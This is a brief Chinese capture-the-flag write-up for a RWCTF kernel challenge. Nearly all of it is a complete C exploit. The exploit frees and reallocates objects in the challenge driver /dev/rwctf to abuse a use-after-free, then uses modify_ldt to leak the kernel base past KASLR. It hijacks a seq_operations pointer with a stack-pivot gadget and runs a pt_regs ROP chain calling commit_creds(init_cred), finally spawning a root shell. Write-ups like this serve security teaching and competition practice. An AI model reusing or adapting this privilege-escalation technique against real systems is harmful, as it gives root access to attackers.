0%

rwctf体验赛-kernel

rwctf体验赛-kernel

比较常规,看的晚了,不然能拿血的。

主要思路就是ldt+seq+pt_regs完成提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#include <sys/types.h>
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <sys/mman.h>
#include <sys/prctl.h>

struct user_desc u_desc;
struct User{
unsigned int idx;
unsigned int size;
char * buf;
};
int kfd;
int seq_fd;
size_t kernelbase;
size_t add_rsp_140_pop_6=0xFFFFFFFF810AAC7D;
size_t commit_creds=0xffffffff81095c30;
size_t init_cred=0xffffffff82850580;
size_t pop_rdi=0xffffffff8106ab4d;
size_t kpti=0xffffffff81e00ed0+0x2b;
size_t ret_addr=0xFFFFFFFF82003240;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;

void err_exit(char *buf){
printf("[err]:%s\n",buf);
exit(1);
}

void rw_kfree(unsigned int idx){
struct User user={
.idx=idx,
.size=0,
.buf=malloc(0x10),
};
int ret=ioctl(kfd,0xC0DECAFE,&user);
if(ret==-1){
err_exit("kfree fail");
}
}
void rw_kmalloc(unsigned int idx,unsigned int size,char *buffer){
struct User user={
.idx=idx,
.size=size,
.buf=buffer,
};
int ret=ioctl(kfd,0xDEADBEEF,&user);
if(ret==0){
err_exit("kmalloc fail");
}
}

int main(){
kfd=open("/dev/rwctf",O_RDWR);
char *buf=malloc(0x1000);
memset(buf,0x61,0x100);
rw_kmalloc(0,0x10,buf);
rw_kfree(0);


u_desc.base_addr=0xff0000;
u_desc.entry_number=0x1000/8;
u_desc.limit=0;
u_desc.seg_32bit=0;
u_desc.contents=0;
u_desc.read_exec_only=0;
u_desc.limit_in_pages=0;
u_desc.seg_not_present=0;
u_desc.useable=0;
u_desc.lm=0;
syscall(SYS_modify_ldt,1,&u_desc,sizeof(u_desc));



size_t page_offset_base=0xffff888000000000;
*(size_t *)buf=page_offset_base;
*(size_t *)(buf+0x8)=0x201;

while (1)
{
rw_kfree(0);
rw_kmalloc(1,0x10,buf);
int ret=syscall(SYS_modify_ldt,0,buf,0x8);
if(ret<0){
page_offset_base+=0x40000000;
*(size_t *)buf=page_offset_base;
*(size_t *)(buf+0x8)=0x201;
continue;
}
break;
}
printf("page_offset_base_addr:%p\n",page_offset_base);

*(size_t *)buf=page_offset_base+0x9d000;
*(size_t *)(buf+0x8)=0x201;
rw_kfree(0);
rw_kmalloc(1,0x10,buf);
int ret=syscall(SYS_modify_ldt,0,buf,0x8);
if(ret<0){
err_exit("read ldt fail");
}
kernelbase=*(size_t *)buf-0x60;
printf("[*] kernel_base:%p\n",kernelbase);
rw_kmalloc(0,0x20,buf);
rw_kfree(0);
seq_fd=open("/proc/self/stat", O_RDONLY);
rw_kfree(0);

add_rsp_140_pop_6=add_rsp_140_pop_6-vmlinux_nokaslr_addr+kernelbase;
pop_rdi=pop_rdi-vmlinux_nokaslr_addr+kernelbase;
commit_creds=commit_creds-vmlinux_nokaslr_addr+kernelbase;
init_cred=init_cred-vmlinux_nokaslr_addr+kernelbase;
kpti=kpti-vmlinux_nokaslr_addr+kernelbase;
ret_addr=ret_addr-vmlinux_nokaslr_addr+kernelbase;

*(size_t *)buf=add_rsp_140_pop_6;
rw_kmalloc(0,0x20,buf);

__asm__(
"mov r15, 0x1111111;"
"mov r14, pop_rdi;"
"mov r13, init_cred;"
"mov r12, commit_creds;"
"mov rbp, ret_addr;"
"mov rbx, pop_rdi;"
"mov r11, ret_addr;"
"mov r10, ret_addr;"
"mov r9, kpti;"
"mov r8, 0xaaaaaaa;"
"mov rax, 0;"
"mov rdi, seq_fd;"
"mov rsi, rsp;"
"mov rdx, 0x200;"
"syscall;"
);
system("/bin/sh");
}